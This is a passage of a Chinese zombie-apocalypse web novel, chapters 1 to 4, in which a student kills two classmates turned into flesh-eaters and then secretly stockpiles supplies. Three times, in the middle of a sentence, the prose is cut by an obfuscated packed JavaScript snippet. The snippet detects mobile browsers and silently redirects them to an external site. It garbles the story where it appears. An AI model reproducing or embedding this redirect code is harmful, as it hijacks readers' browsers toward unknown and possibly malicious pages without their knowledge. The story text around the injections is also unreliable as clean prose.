《你吃了吗?》 1. 第1章 “据气象显示,这场持续了将近三年的雨季将在下周一迎来结束,明天开始,全国降水量将会开始减少。” “…气温有望回升至雨季前的25摄氏度,汉州等部分地区将回升至28摄氏度以上。” “……但是在雨季正式结束之前,还请广大市民注意出行安全,注意保暖……” “啊!!!有丧尸咬人啦!!!” 一道刺耳的尖叫声在教学楼上空响起,学生在走廊张惶逃窜。 年级主任沉着脸接近事发处,皮鞋在地板砖上踩得夸夸响。 高三年级的走廊已经一地狼藉,他站在尽头,脸比外边的天还要黑,“你们俩!到我办公室来!” 办公室里一片死寂。 过了好半天,年主任才深吸一口气,叫出了两人的名字。 “陈双,赵钱孙,说吧,你们俩又在搞些什么鬼?” “说话啊!刚刚在走廊哇哇鬼叫不是很有力气?!”见两个男生低着头都不说话,年主任更是气不打一出来。 眼镜碎了一角的陈双呼出一口长长的气,与赵钱孙对视。 “主任,我们闹着玩儿的,我们知道错了。” “闹着玩儿?那你们告诉我,墙上那些玩意儿是什么?” “颜料,是颜料!”赵钱孙回答得飞快,他朝年主任无辜地眨巴眨巴眼睛。 年主任的眼神在两人身上各自停留了几秒钟,“为什么要把颜料往墙上洒?” “我们刚刚说了啊,闹着玩儿!”赵钱孙听着中年人的声音嗡嗡叫唤,禁不住拔高嗓门。 年主任把桌子一拍,“你犯错你还有理了!” 赵钱孙一顿,耸了下肩膀,气焰又消了。 过了两秒钟,他鼻翼夸张地收缩,眼底流露出疑惑和茫然的神情,“主任,你有没有闻见什么味道?好香啊。” 陈双看了赵钱孙一眼,顺着他的视线,看见了面前这名中年教师坠着两层白肉的脖颈,白皙松软,馨香扑鼻。 年主任正恼着,没好气说道:“别转移话题,这次我一定要重罚你们两个,等会你们俩去把走廊打扫干净,再每人交一份八百字的检讨上来,我平时就是太惯着你们了,不知天高地厚……” 碎嘴子年主任说累了,拿起保温杯拧开咕咕喝了两口水,放下保温杯时看见陈双和赵钱孙还立在眼前没走,眼一瞪,“还杵着做什么?嫌八百字太少了?” “没……没有。”陈双连忙说,然后拉着已经盯着年主任看直了眼的赵钱孙往外走,“走了走了。” 走出办公室后,赵钱孙甩开陈双的手,“年主任那么肥,咬一口肯定直接爆汁,不知道有多香,你为什么要拉我?” “你难道想被抓走做研究?”陈双质问赵钱孙,背后已经被冷汗浸透,“幸好我们刚刚没真的伤到人。” “伤到了又怎样?我们完了,这个世界马上也要完了!”赵钱孙泄气地蹲下,“你真的相信雨季结束后,一切就都会恢复如初?” 说完以后,他伸出自己的双手,甲床和手背上的血管都是乌青色,他叹了口气,把手缩回到了袖管里。 陈双想说什么,年主任背着手走出来了。 “怎么还没走?” 陈双扫了一眼肥头大耳的年主任,年主任在真的把自己养得很好。 年主任上个月刚过四十岁的生日,正值油脂丰润的年纪,空气中的香气随着他的出现愈发浓厚诱人。 陈双的唾液在此时突然加速了分泌,他咬紧牙关,没让唾液满溢,但盯着年主任的眼神已经发了直。 赵钱孙察觉到了陈双的变化,他站了起来,对着年主任哈了两下腰,讨好着道:“走走走,这就走。” 被赵钱孙拉拽着到无人处的陈双,闭上眼睛,一言不发。 “我还以为你多能,结果也不过如此。”赵钱孙靠在墙上,摊了摊手。 陈双花了很长时间才平静下来,他拭掉额头上的汗,“行了,我们先去拿拖把抹布,我拖地,你擦墙。” “……”赵钱孙张了张嘴,对着陈双的背影叫嚷,“你确实比我能,毕竟你都变成怪物了还想着当老师的乖宝宝!” 教学楼公共区域的清洁工具统一置放在一楼最尽头的小仓库,平时除了值日生,几乎不会有人进出。 小仓库的钥匙就放在门边窗台上,但陈双探手去拿钥匙时,却没有摸到,低头一看,钥匙就在钥匙孔里,门也是虚掩的。 仓库里有人。 赵钱孙看见陈双磨蹭,推开他,踹开门。 在嫉妒饥饿的状态下,他耐心极差。 仓库里,正在水龙头底下冲洗拖把的男生抬头闻声抬眼。 “乌珩?”赵钱孙大喇喇走进仓库,“你今天值日啊。” “嗯。” 陈双看着站在水池边的乌珩,他将衣袖挽起了,露出两截血色浅淡没有二两肉的手臂,黑白校服包裹着他纤瘦如麦秆的身体,一双形状标准的杏眼阴郁得过分,毫无神采,肤质更是苍白得犹如营养不良一般。 乌珩跟他们一个班,在班里独来独往,如同隐形人。 听说他家里人对他很不好,估计这也是造成他性格孤僻的原因之一。 这还是陈双第一次看清对方的脸。 赵钱孙也跟着陈双看乌珩,看起来有点塞牙,赵钱孙心想。 “洗完了吗?”陈双掩上门后,走到水池边。 乌珩点了点头,眉骨前的碎发也轻荡了两下,“好了。” 男生拿着拖把走到墙边,将湿淋淋的倚着墙倒立起来,让流下来的水顺着地漏流出去。 陈双则站在原地嗅了嗅,男生刚刚站过的地方,漂浮着一股奇异的肉香,比刚刚的年主任闻起来还要诱人。 “乌珩。” 乌珩正在往下放袖管,听见陈双的声音,顺势回头。 一道阴影在眼前光速坠下,他下意识闭眼,剧痛自头顶袭来,他来不及出声,视野已逐渐模糊。 意识消失之前,乌珩看见班里那个成绩名列前茅的好学生陈双脸上只剩下了一张血盆大口,他心头一紧。 那,是什么东西? - “门反锁上了吗?” “反锁了。” “再用桌子抵上。” “没问题。” 陈双看着倒在地上的少年,想了想,脱掉了自己的校服外套,弯腰将对方打横抱了起来。 乌珩被轻轻放在由赵钱孙临时用几张桌子拼成的大桌上。 “陈双你太牛逼了你,说干就干,我现在谁也不服就服你!”赵钱孙摩拳擦掌,眼球突出眼眶,脸上青色血管根根凸起。 陈双说道:“他这样的人,就算是凭空消失了,也不会有人发现。” 乌珩其实已经醒了,他没有睁开眼睛,只是静静地听着这两个人的对话。 不,他们可能已经不是人了。 早在一个星期前,他就在网上刷到过几次人吃人现象的帖子。 只不过他跟评论区的网友一样,认为是作者为了博关注胡编乱造,后续官方的澄清公告也证明了发帖人确实是造假。 然而,那些被认定是谣言的帖子,却在这一刻得到了证实。 一股温热的气息触到了乌珩的颈侧,有什么东西在滴滴答答。 “他好瘦啊。”赵钱孙乌青干枯的手指圈了圈男生的手腕,“感觉根本不够我们两个吃。” “有总比没有好。”陈双拉下了乌珩校服的拉链,对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836399|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颀长细瘦的脖颈收拢进圆领线衫,几块颜色不明显的青痕在领口处若隐若现。 陈双动作顿了顿。 如果有得选,他不会吃有瑕疵的食物。 “能吃了吗?我真饿了。”赵钱孙手掌搭在乌珩的大腿上,掌下温热的鲜肉令他食指大动。 “随时可以,我们速战速决。”陈双说话时,唾液顺着口角滴在男生的锁骨上,夹杂着隐隐的尸腐味。 说罢,陈双手指摩挲着乌珩的脖子,低下头。 颌骨夸张的开张声响起时,早已经做好准备的乌珩没有丝毫犹豫,掏出不知道攥了多久的折叠刀朝着眼前这张已经畸变的脸就是一顿猛捅。 鲜血呲呲喷射到乌珩的脸上,陈双的痛嚎如同野兽。 赵钱孙还没有反应过来,便见刚刚还躺任人为所欲为的少年已经移动到他的眼前。 “你……”赵钱孙惊愕地望着满脸是血、神情漠然的乌珩。 被溅了一脸血的少年蹲在桌子上,手中的折叠刀稳准狠地插穿了赵钱孙的两颗眼球。 “乌珩,我操/你妈!”赵钱孙怒骂,伸出两只手想要去抓乌珩到手中。 他的动作并不灵活,甚至有些笨拙。 乌珩在桌子上翻滚两圈,跳到地面,陈双正跌跌撞撞地朝他跑来,嘴里发出“嗬嗬”的低吼声。 眼前的陈双跟印象里沉默寡言的好学生判若两物,那张嘴占据了他脸面的一半,并且已经被乌珩捅烂,舌头要断不断,鲜血如水柱,他却仿佛已经失去了知觉一般,眼里只有食物。 少年咽下一口唾沫,闪身躲开陈双的抓挠,扫视一周后,快速弯腰拾起地上一截带铁钉的桌脚。 陈双再次朝他扑过来,乌珩举着桌脚对着对方的脑袋猛击了七八下。 有什么柔软的带着腥气的块状物溅到了乌珩的眼皮上。 它慢慢滑落,最终“啪”一声掉在地上。 乌珩垂眸,看见那一块东西,像豆腐脑。 意识到自己正在进行杀戮行为的乌珩,抿紧唇瓣,一脚踹倒已经摇摇晃晃的陈双,转身走向倒在地上还在因为眼睛哀嚎的赵钱孙。 少年无声立于赵钱孙身旁,脸上的神情哀弱无助。 “对不起。”少年举起桌脚,对准赵钱孙的头部。 砰! 他砸下去,赵钱孙哀叫一声。 砸下去,赵钱孙哀叫一声。 ... 鲜血慢慢汇聚到乌珩的脚下,沾红了乌珩的帆布鞋鞋底,跟乌珩平日里见到的血不同,他们的血是黑红色,还带着一股臭气。 乌珩跨过赵钱孙失去声息的身体,走到水池边,打开水龙头。 他先是冲洗了折叠刀,接着用力搓洗手指并且洗脸,流经他手指后的水泛着红,过了很久才变得清澈。 洗完脸,乌珩的心跳已经恢复了正常频率,他收好折叠刀,开始收拾残局。 乌珩分别给两人拍下了照片,着重拍摄陈双大到夸张的嘴和赵钱孙漆黑的眼球眼眶,以及两人泛青的皮肤。 最后,乌珩站在仓库的角落,找了一个绝佳角度,拍下了一张颇具残酷美感的全景照片。 拍完后,乌珩拖着陈双往仓库的柜子里塞。 陈双偏瘦,勉强能塞进去,赵钱孙却难以被容下,乌珩就只能将他对折装进去,露在外面的部分,乌珩照着踹了十几脚,得以关上柜门。 最后,乌珩给水龙头接上延长水管冲洗地面。 血水流进地漏,乌珩耷拉着湿漉漉的睫毛,被掩住的眼神被地板上的水光映出几点奇异的光芒。 他不由自主看向窗外,天灰蒙蒙的,生气全无,令他想起网上那些谣言——人类作为主宰的旧世界已到尽头,新世界即将降临! 2. 第2章 推开窗户,让仓库里腐烂变质的血腥气散尽后,乌珩拾起陈双之前脱下来的外套穿在身上。 他身材纤细,就连陈双的校服他穿着都有些大了。 拉开仓库的门之后,室外潮湿但清新的空气跟室内形成了鲜明的对比。 像是被什么东西吸引到了一般,乌珩握着门把手回头。 仓库昏暗阴沉,桌椅板凳横七竖八堆积,清扫工具缺胳膊少腿,几面柜子布满灰尘。 嘎吱—— 装着陈双的柜子柜门忽然缓慢朝外打开,一只青白的手猛地探出,五指死死抠住柜门。 手臂之后,一只溃烂流血的眼睛靠近。 乌珩无声地拿出了刀,再次走进仓库。 他在柜子跟前蹲下,慢慢歪头,跟柜子里的陈双几乎眼贴上了眼。 “……” 陈双嘶吼着扑出来,乌珩动手飞快拉开柜门,折叠刀直接刺进了对方的眉心。 陈双畸形的身体剧烈地颤抖,断断续续的低吼声从喉咙深处挤出,他枯瘦发黑的手顺着乌珩的手臂抓到手腕,往下用力一摁,剩余的两厘米刀刃也没入他的脑内,很快,陈双的手就彻底失去力气,垂了下去。 乌珩一怔。 半晌后,他慢慢将刀拔了出来,轻轻合上了柜门。 走出仓库,乌珩站在门前,转动着钥匙,直到再也拧不动,他才拔出钥匙。 看了眼四周,确定无人后,他走下台阶,将钥匙丢进了跑道边的垃圾桶。 站在原地良久,乌珩凝望着这个自己呆了将近三年的校园,教学楼是前几年新修建的,雅致又气派,设计别致的花圃穿插在教学楼与操场之间,高低错落的绿树形成几条适合散步的林荫小径。 不远处的操场上,有几个男生顶着毛毛雨在打篮球,每次进球都会产生一阵欢呼声,与教学楼里的嬉笑读书声一齐奏响了这个年龄段最悦耳动听的乐章。 也是最后的乐章。乌珩微微笑起来。 回到教室,乌珩无视所有人,拽出书包,倒掉了里面的书本,反而把桌子里没吃完的零食饮料全装了进去。 同桌被他突然的举动吓了一跳,“你干嘛?” 乌珩:“我要回家了。” “?”同桌脸上出现了大大的问号,可乌珩态度确定,他看了眼手表,上午十点,回家? 乌珩跟班里同学不亲近,他有轻微的脸盲症,加上内向不爱说话,他连班里人都还认不全分不清。 但杨澳毕竟是一起坐了快三年的同桌,乌珩拉上书包拉链,停顿了会儿,说道:“网上不是说要世界末日了?你也回家吧。” 杨澳发出了一阵惊天动地的笑声,他笑完拍着乌珩单薄的肩膀,说:“那你赶紧回家吧,末日来了你这样的还不够丧尸一口吞的。” 乌珩不是热心市民,看也不看杨澳,背着书包走得头也不回。 杨澳呆了呆,"这傻逼真走啊。" 快上课了,回教室的学生不少,只有乌珩是在朝反方向走。 在这个时候背着书包的人无法让人不注意到,时不时就有人回头看他,但他只顾着埋头看手机以及往前走。 [还有最后三天时间。] [不明白你们为什么不相信世界末日就要来了,持续几百万年的雨季给当时的地球生物带来了毁灭性的打击,这次虽然才三年,但也造成了非常大的损失,山洪泥石流滑坡洪涝,还有出现频率越来越高的路人突然躁狂伤人事件。] [反正我已经辞职了,而且我还用我一半的存款买了一屋子的物资。] [谁信谁傻子……] [感觉某些人家里可能还存着几百斤盐。] [无所谓,末日就末日,大不了拼了。] 乌珩还不想死,他过滤掉了大部分冷嘲热讽的声音,只挑重点看,快速记录下自己现在需要准备的东西。 耐存放的食物和日用品,保暖衣物,伤害值高但轻巧易携带的防身武器,加固住所的进出口,警报器,监控装置等。 只是,他好像没有足够的钱。 他的钱就算全部拿出来,也只够买一些吃的。 楼道里潮湿昏暗,墙壁上凝结着发亮的水珠,脚下的台阶粘腻湿润。 一阵来自青春期男生的笑闹声自脚下的楼层传来,很快就接近了乌珩。 听出人多,乌珩下意识靠近扶手贴边走。 只是有一道目光依旧精准地锁定在了少年瘦削苍白的脸上。 “乌珩?”谢崇宜挡住乌珩的去路,扫了一眼对方肩上的书包,“你去哪儿?” 乌珩抬眼。 他眼珠的色调比大部分人都要深,圆眼黑瞳,令他的上半张脸看起来有种冷血动物幼年时的懵懂天真,他抿唇,线条婉约的下半张脸冲淡了不谙世事感,气质倔强又疏离。 “我,回家。”回答完后,乌珩又很快低下头。 谢崇宜歪起头,微微斜身,用眼神去够乌珩闪避的目光。 他分明站在乌珩下面那个台阶,但好像还是比乌珩高出了一点儿。 乌珩轻微脸盲,加上性子独,班里九成左右的人他都没记住名字,也分不清谁是谁。 但谢崇宜他能认得出,也记住了。 人都是视觉系动物,乌珩能记住谢崇宜也不是因为两人有多熟,而是因为谢崇宜万里挑一的外形,剑眉星目,肩宽背直,长腿窄腰,举手投足让人一眼就能看出他他众星捧月养尊处优的人生。乌珩就是想要在谢崇宜身上犯脸盲也很难做到。 “下午是班主任的课,你确定不上?”谢崇宜见乌珩又偏头躲开,深觉无趣,随口问了句。 乌珩摇了摇头,“不上。” 谢崇宜只是作为班长多问一句,他并不关心对方旷课的真正原因,他越过乌珩,丢下话,“路上注意安全。” “谢谢。”乌珩回答,但谢崇宜人高腿长,早就走远。 少年早已经习惯了他人的冷落和忽视,不为所动地继续往下走,只是刚往下迈了一步,他鼻息间就嗅到了一股奇异的香气。 什么味道?乌珩有些疑惑。 很少见的香,但不是香水,乌珩循着味道的去向回头,闻起来感觉好像是什么很好吃的食物。 - 推着购物车,乌珩把自己在备忘录里记下的必买物品一件一件丢进车里。 他的钱不多,做笔记的时候完全没有考虑好不好吃,只考虑它耐不耐放和它的饱腹程度。 货架上的货品琳琅满目,乌珩却大量地购买土豆和面粉,这两样东西足够便宜也足够耐放,胡萝卜南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836400|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜白菜这些只能存放个把月甚至几周的蔬菜他买得便没有土豆多,只各买了五十斤,超市阿姨还以为他是什么饭店的员工,热情地帮他装袋扎绳。 来到调味品区域,乌珩直接搬了一箱盐,其他的佐料他看也没看,在他看来,如果末日真的来临,食物只要能下咽,味道的好坏已经不在他的考虑范围内。 想买的东西还没买完,乌珩看了眼手机上的时间,决定剩下的东西他明天再继续买。 大袋大袋的物资从收银台运出去,乌珩总共花费还不到三千块钱,只占了他小金库的三分之一还不到。 结过账后,乌珩给自己从小一块玩到大的林梦之打去电话。 林梦之读完初中之后便没再继续学业,早早地入了社会打工挣钱,他现在在一家酒店后厨干打荷的,手机响起,他跟师父说了声,走到旁边接。 “阿珩,你这会儿不是在上课呢吗?” 乌珩:“梦之,帮我个忙。” 发小性格内向软怯,头一回用这种语气跟自己说话,林梦之本来还觉得稀奇。 但随着乌珩接下来的话,他脸上吊儿郎当的神情逐渐消失。 林梦之不住地点头,那头师父等了半天人,开始不耐烦地叫人,他却只当没听见。 乌珩说完后,林梦之焦躁地挠了挠头发,他脑子简单,复杂的东西他也想不了,所以他很快就给了乌珩回复。 “行,我现在就过去。” 挂了电话,林梦之开始解工作服。 “喂,你小子,老大叫你半天了!”一个离他最近的胖子道。 林梦之把脱下来的工作服丢在椅子上,“我不干了。” 没等后厨的人反应过来发生了什么,林梦之已经拿着手机跑了。 乌珩只在超市等了半个小时就等到了林梦之,林梦之带着一身油烟味过来,看见乌珩还是一身校服,他咽了咽口水,现在,他几乎能确定乌珩不是在编故事。 因为乌珩要是平白无故旷课,他爸能把他锤个半死。 “你说的照片,给我看看。”林梦之气喘吁吁。 乌珩拿出手机,打开相册,给林梦之看了自己之前在学校仓库拍下来的陈双和赵钱孙。 但那张乌珩眼里的全景艺术照,乌珩没有给林梦之看。 “我去——”已经看不出人类脑袋形状的烂肉和暴露在肉堆上的眼珠子很能冲击正常人的视觉感官,林梦之脸色变得煞白,连着后退了几步,音调都变了,“那他们人呢?” “我把他们关在仓库里了。”乌珩说道,“这些东西现在能搬去你家吗?我不想到时候挨饿。” “能是能,但现在这不是重点啊,阿珩这不是重点,”林梦之原地转了几圈,面朝着乌珩,说话急促,“我们得报警,告诉警察,让他们去调查这件怪事。” “况且,如果真的如你所说,世界末日就要来了,我们应该告诉所有人,让大家都提前做好准备!” 乌珩静静地听完,点头时的样子格外乖巧,但下一秒,他无奈地笑了笑,“但是如果报警的话,我也会被抓起来的。” “为什么?”林梦之不解。 乌珩睫毛垂落,声音很小,“因为我把他们两个都杀了,我把他们打得稀巴烂,我最后还把他们装进了柜子里。” 3. 第3章 林梦之站在原地,看着乌珩那张不能说是人畜无害,但也没半点攻击性的脸,大脑陷入一片空白。 “阿珩,你不会是在吹牛逼吧?”他不像是在问乌珩,倒像是在问自己。 乌珩缓缓摇头。 “你没发现我的校服比平时大了一个号吗?因为它不是我的校服,它是我同学的。” “我裤子颜色和鞋子颜色都比平时深,因为沾了血,我在学校用水冲过,还没干。” 林梦之深吸了一口气,差点把自己吸背过气去,他转过身,看向还在等话的送货员,“走吧,我们跟车。” 货车车头没有多余的位置,乌珩和林梦之一起跟着白菜土豆们爬进车厢里面对面坐着。 货车平稳前行,车厢里却感觉摇摇晃晃。 乌珩盘腿坐在一箱子盐上,身体摇来晃去,却还在仔细核对着自己接下来要买的东西以及他剩余的资金。 手机上的光影时不时晃过他的眼睑,光影扫过他的眼睑时,深不见底的漆黑。 乌珩能感觉到对面的林梦之从上车之后就一直在看看自己。 “梦之,你害怕吗?”乌珩低语问道。 林梦之惊了一下,“害怕什么?” “我。”乌珩停下计算,看了林梦之一眼,注意力又重回备忘录。 林梦之跟听见了什么笑话一样,“我怕你?我?怕你?开什么玩笑?”从小到大,乌珩都靠他罩好不好! “那你现在有多少钱?”乌珩皱眉,“我们还有很多东西要买。” 林梦之掰着手算了算,然后跳到了乌珩旁边坐下来,拿出手机,打开计算器,“我余额宝存了快5万块钱,微信余额还有3678.2,但我还有2216的花呗没还。” 乌珩把林梦之的钱全部加在了自己的余额后面,“花呗不用还。” “万一末世没来,影响了征信怎么办?我以后还想娶媳妇儿。”林梦之搓着手。 乌珩又减去2216,“那你还完花呗后剩余的钱都能用来购买物资吗?” 林梦之心里其实还是有点打鼓,摇摆不定之时,他脑海里闪过乌珩手机里那两张照片,想到这里,他低头撸了把前不久刚染的紫毛,用豁出去的语气说道:“剩下的你想怎么用就怎么用。” “梦之,谢谢你相信我。”乌珩低声说道。 “害,”林梦之一摆手,“我们都认识多久了,铁哥们儿!我不信你信谁?” 乌珩朝他笑了笑,眼底的阴郁散了些许。 两人住同一个小区同一栋楼,只是不住同一楼层,乌珩家住二楼,林梦之家住一楼。 小区老旧楼层矮,不仅没有电梯,其他公共设施也是破破烂烂,小货车进小区时,车顶还差点挂到了半垂的电线。 小货车停在林梦之家的院子门口,林奶奶恰好坐在院子里剥花生,乌珩从车厢里跳出来,叫了声林奶奶。 “阿珩放学了啊。”林奶奶眼睛看不见,张望了一番之后,抓着一把花生往另一个方向递,“来,阿珩,吃花生。” 乌珩看向林梦之。 林梦之喊了声“奶”,把院子的栅栏扒开,乌珩朝送货员看过去,“把货放到院子里就可以。” 林奶奶只听见一个粗声粗气的中年男人欸了一声,随着身后十几袋重物陆续砰砰落地,她神色慌张,“这是买了什么东西吗?” 乌珩不善言辞,自顾自拖着物资往屋子去,留下林梦之给林奶奶解释。 林梦之捡了几颗花生丢进嘴里,想了想,说:“超市促销,我跟阿珩看见不少东西都打对折,就多买了点儿,省钱嘛。” 林奶奶把地上的拐杖摸到手中,在地上挥了挥,碰到不远处跟小山堆一样的东西,她颤颤巍巍往前走了两步,弯下腰,伸出手指摸了摸。 “洋芋?” 她摸另一块地方,“还是洋芋?” “又是洋芋?” 上了年纪的人生活经验颇丰,哪怕是个瞎子,林奶奶摸了一通,心里也有了数,她拿拐杖朝林梦之站的地方挥过去,“你们买几百斤的洋芋,打算吃到啥子时候去?” “土豆经放嘛。”林梦之跳着躲开,“老东西你只需要张嘴吃就行了,管那么多做什么?” 乌珩正好从屋里出来,听见林梦之的话,他提醒道:“梦之,不要这么跟奶奶说话。” “我不说了,我跟你一块把东西搬屋里去。” 林奶奶帮不上忙,她蹒跚漫步,不仅摸出了几百斤的土豆,还摸到了大袋大袋的白菜和胡萝卜,她家就只有她跟林梦之祖孙两个,带上乌珩一家四口,也才六个人,六个人吃这么些东西,那得吃到什么时候去? “哎哟~天呐~败家子~两个败家子~” 两人齐心协力,花了半个多小时才把所有东西分别码放在了厨房和客厅一角,乌珩分别给自己和林梦之倒了一大杯水,咕咚咕咚地往下灌,林梦之喝了半杯就停下了,乌珩喝完之后还是觉得焦渴,又给自己倒了满满一杯。 林梦之端着一抽屉平时没用上的零钱走出房间时,乌珩还在喝水。 “你他妈水桶啊?”林梦之吐槽了一句,在沙发坐下来数钱。 乌珩喝到肚子感受到涨意之后才停下来饮水,他舔了舔唇角的水迹,“你这里有多少钱?” “等我数数。”林梦之先数了纸币,最后数硬币,“八百多。” 说完之后,林梦之身体忽然一顿,他看向身后老人的卧室,“我奶的存折里好像还有好几十万?” 乌珩移了半步,挡住他蠢蠢欲动的视线,“这个钱我们不能动。” “行吧行吧,不知道的还以为你才是我奶的孙子,”林梦之都塞进了乌珩的书包,手一顿,又把已经塞进去的钱掏了出来,“明天我们一块去买东西的时候再给你,免得被你爸知道了问你哪来的,一不小心又要挨捶。” 乌珩“嗯”了一声,“书包给我,我先回去。” 林梦之拉上乌珩书包的拉链,朝他丢过去。 接到书包的一瞬间,乌珩又在空气中闻到了之前在学校里闻到的那一股香气。 - 几步楼梯,乌珩回到家中,他进门换了拖鞋,熟练地拾起地上的抱枕丢回到沙发上。 捡了一地的抱枕玩偶,扶起倒在地上的花瓶和椅子,乌珩走进房间。 妹妹乌芷正四仰八叉地躺在他床上玩芭比娃娃。 “起来。”乌珩把书包放到书桌上。 “不要嘛哥哥,我喜欢待在哥哥的房间里。”乌芷抱着芭比娃娃在床上滚了几圈,停下来后,又自顾自玩了起来。 乌珩将书桌上被弄得乱糟糟的书本慢吞吞归置原位,他手指碰到桌边乌芷喝剩的半杯牛奶,顺势握入手中。 少年走到床边,不发一言地举起手臂,把半杯牛奶全部倒在了乌芷脸上。 乌芷呛咳着爬起来,“哥哥……” 乌珩把杯子放回到桌子上,“把床收拾干净。” “好、好的哥哥,我马上。”乌芷抓着芭比娃娃的裙子擦了擦脸,翻身下床跑出房间,很快就抱着一套干净的四件套跑了回来。 她讨好地对着乌珩笑,“我换,我换。” “换不好,不是很好换啊这个。”乌芷抓着床单角,铺平但对不齐,对着床套更是不知如何是好。 乌珩靠着书桌,无情无绪地看着乌芷忙活,他没有催促,乌芷却被他盯得满头大汗,越发的手忙脚乱。 “有钱吗?”乌珩突然出声。 乌芷吓得跳起来,“有、有一点点钱。” “给我。”乌珩说道。 乌芷正好丢下难铺的床,她跑到自己房间里抱来了存钱罐,她快十四岁,一米六八的身高,存钱罐到她的膝盖,她把存钱罐放到乌珩脚边,“哥哥,都给你。” 乌珩走过去关上了门,砸开了存钱罐。 他蹲下来,一张一张数着纸币,本来他速度缓慢,眼神略带嘲意,数到后面,他将同数额的纸币叠成一沓在手中,细长的手指哗啦啦地翻数着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836401|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 距离十万就差几百块钱。 “哥哥?”乌芷见哥哥低着头拿着钱不说话,凑近问,“是不够吗?我还有几个红包没塞进去。” 乌珩听见还有几个红包才有了动作,“嗯,不够,去把红包也都拿来。” 小姑娘立马从地上爬起来,完全是一副把乌珩的话当圣旨的样。 从乌芷手中拿到几个沉甸甸的红包后,乌珩难得朝乌芷扯了下嘴角。 “哥哥,我做得好吗?”看见哥哥罕见地对自己笑,乌芷开心地想要原地起飞,再绕着哥哥转上三百圈。 乌珩敷衍地摸了一下乌芷的头,“你做得很好,但是不要告诉爸爸妈妈。” 乌芷激动地说了一声“好的,哥哥我爱你”。 傻逼。乌珩拿走了乌芷所有的钱,不带任何情绪地评价对方。 - 把乌芷从房间里赶出去之后,乌珩坐在书桌前把自己现在身上所有的钱加起来再次统筹了一遍,有了林梦之和乌芷的加入,他能买的物资就多多了。 将地上的存钱罐和钱都收好后,乌珩打开电脑,他的电脑还是两年前从乌芷手里退休下来的旧电脑。不过乌芷脑子有问题,电脑一直玩不明白,乌珩将就着全当新的用。 他登陆了国内流量最大的论坛,翻到前不久收藏的一篇有关气象分析的帖子。 帖子主题一开始只是提醒大家雨季可能将要结束,是热心,可楼中却有一个等级17的活化石网友发言:雨季应该是要结束了,但之后发生的事情,恐怕我们更加承受不了。 下面的回复全是骂他的。 乌珩却点开了他的个人主页,打开了私信功能。 “你好,请问你半个月之前说雨季之后会发生我们无法承受的事情,具体是什么事?” 乌珩没想到对方几乎是秒回。 “你把我当算命的?” 有火药味。 乌珩只能回复了一个:“没。” 又接着发:“不好意思。” 又发:“不说算了。” 昵称为小谢不爱吃香菜的网友回复很快:“激我?” 乌珩的脸被电脑光芒照耀得比平时更显惨白,他表情淡漠,眼神阴郁。 拖着鼠标,他打算把对面这个人拉黑。 就在鼠标点到对方头像时,聊天框里跳出一条新的消息。 “视频,接。” 乌珩还没来得及反应,对面就发来了视频邀请,乌珩向来讨厌视频也讨厌语音,想都没想就点了拒绝。 小谢不爱吃香菜:“我是颜控,视频只是为了确认你不是抠脚大汉。” 乌珩分辨:“我不是。” “证明。” 乌珩蹙着眉头:“如果我是抠脚大汉你会怎么样?” “已读不回,再发拉黑。” 乌珩垂眼想了会儿,移动鼠标,主动给对方发送了一个视频邀请过去。 视频接通,一近一远两个年龄相仿的男生的脸同时出现,他的班长穿着家居服,姿态轻松散漫,跟在学校的冷淡疏离两模两样。 隔着屏幕,乌珩受到的冲击不小,他哑然半晌,开口不太确定道:“小谢?不爱吃香菜?” 谢崇宜只愣了半秒钟恢复如常。 似乎是为了确认自己没有看错,谢崇宜从背靠椅子改为倾身托腮,嘴角含笑地盯着屏幕里乌珩那张气质诡丽的脸看。 乌珩被谢崇宜看得手心冒了不少汗,心脏砰砰直跳。 谢崇宜在学校被班里人惹得不高兴后也喜欢似笑非笑地看着肇事者,可跟现在给人的感觉又不完全相同。 没有不悦,全是饶有兴味的打量。 少年紧张,不自觉放开鼠标,摸了摸发烫的耳朵。 沿着他手腕线条下去,纤细莹润的颈项在昏暗的背景里显得无比的柔弱可欺。 谢崇宜见他这样,也觉得欺负老实巴交的同学没意思,视线放开,“长得不错,我们换个地方聊,你有我微信吗?” 4. 第4章 乌珩的微信联系人加起来不到20个,这里面自然不包括谢崇宜。 他翻出被自己屏蔽了消息的班级群,从里面添加对方为好友。 谢崇宜同意好友申请后,先发来消息问道:“你为什么会关注那条帖子?你发现了什么?” “没有,”乌珩回道,“只是感兴趣而已。” “你想进我的黑名单可以继续撒谎,我无所谓。” 乌珩死气沉沉的眼底懒得浮起一丝烦躁,谢崇宜聪明,但不按常理出牌。 